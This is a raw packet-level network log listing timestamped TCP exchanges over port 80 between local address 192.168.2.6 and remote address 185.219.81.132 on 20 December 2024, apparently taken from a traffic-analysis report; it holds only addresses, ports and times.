Dec 20, 2024 22:52:37.942826986 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.942866087 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.942931890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.943634033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.943687916 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.943808079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.943860054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.944421053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.944580078 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.944633961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.945269108 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.945323944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.945364952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.945406914 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.946086884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.946131945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.946186066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.946228027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.946904898 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.946964025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.947082043 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.947213888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.991276026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.991342068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.991348982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.991393089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.991475105 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.991523981 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.991555929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.991601944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.992314100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.992369890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.992403030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.992456913 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.993187904 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.993238926 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.993284941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.993330956 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.994024992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.994076967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.994111061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.994160891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.994811058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.994889975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.995071888 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.995120049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.995637894 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.995682001 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.995758057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.995800018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.996478081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.996551991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.996589899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.996634960 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.997304916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.997360945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.997397900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.997437954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.998142004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.998193026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.998250008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.998300076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.998954058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.999006987 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.999058008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.999104977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.999794006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.999845028 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.999882936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.999932051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.000602007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.000650883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.000710011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.000766039 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.001445055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.001496077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.001542091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.001585007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.002280951 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.002331972 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.002367020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.002413988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.003134966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.003185034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.003246069 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.003297091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.003943920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.003993988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.004035950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.004081011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.004792929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.004839897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.004911900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.004955053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.005609035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.005657911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.005698919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.005745888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.006495953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.006551027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.006589890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.006639957 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.007709026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.007755041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.007841110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.007908106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.008079052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.008136034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.008296013 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.008347988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.008920908 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.008968115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.009293079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.009341955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.009794950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.009849072 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.009893894 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.009939909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.010648012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.010699987 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.010731936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.010775089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.011451006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.011502028 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.011642933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.011693001 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.012274981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.012324095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.012362003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.012433052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.118499041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.118587017 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.118673086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.118927002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.118979931 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.119026899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.119081020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.119719028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.119771004 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.119858027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.119905949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.120590925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.120639086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.120706081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.120753050 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.121423006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.121471882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.121526957 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.121572018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.122242928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.122356892 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.122406006 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.123150110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.123218060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.123321056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.123377085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.123905897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.123953104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.124016047 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.124069929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.124743938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.124793053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.124859095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.124898911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.125575066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.125626087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.125667095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.125711918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.126393080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.126517057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.126570940 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.127249002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.127310991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.127353907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.127404928 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.128103971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.128154993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.128185034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.128232002 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.128906012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.128953934 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.129089117 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.129133940 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.129748106 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.129795074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.129841089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.130620956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.130669117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.130728006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.130772114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.131375074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.131426096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.131529093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.131576061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.132221937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.132272005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.132442951 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.132488966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.133088112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.133138895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.133158922 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.133202076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.133898973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.133985996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.134037971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.134717941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.134772062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.134848118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.134890079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.135586023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.135643005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.135829926 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.135878086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.136389971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.136481047 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.136492014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.136539936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.137228012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.137276888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.137322903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.137373924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.138031006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.138151884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.138222933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.138873100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.138926029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.138963938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.139005899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.139692068 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.139741898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.139832973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.139879942 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.184211969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.184231997 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.184329987 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.184355021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.184407949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.184549093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.184598923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.184731960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.184784889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.185481071 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.185497999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.185534000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.185556889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.186212063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.186405897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.186455965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.187329054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.187345028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.187372923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.187398911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.187931061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.188133955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.188175917 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.188888073 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.188909054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.188951969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.189655066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.189703941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.189836979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.189886093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.190598011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.190614939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.190639973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.190654039 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.191148996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.191167116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.191210985 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.191453934 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.191498995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.191591024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.191632032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.192267895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.192312002 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.192400932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.192442894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.193099976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.193330050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.193382025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.193928957 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.193974972 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.194046021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.194089890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.194766045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.194813967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.194855928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.194900990 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.195643902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.195697069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.195760012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.195801020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.196584940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.197686911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.197737932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.198051929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.198059082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.198088884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.198097944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.198204994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.198252916 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.198951006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.198999882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.199058056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.199107885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.199767113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.199824095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.199867010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.199914932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.200581074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.200727940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.200787067 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.201432943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.201548100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.201594114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.202291012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.202343941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.202438116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.202483892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.203100920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.203159094 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.203212976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.203253984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.203941107 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.203993082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.204003096 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.204037905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.204745054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.208153009 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.310631037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.310695887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.310746908 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.310774088 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.310990095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.311042070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.311095953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.311139107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.311811924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:38.311868906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:38.312094927 CET	80	49786	185.219.81.132	192.168.2.6
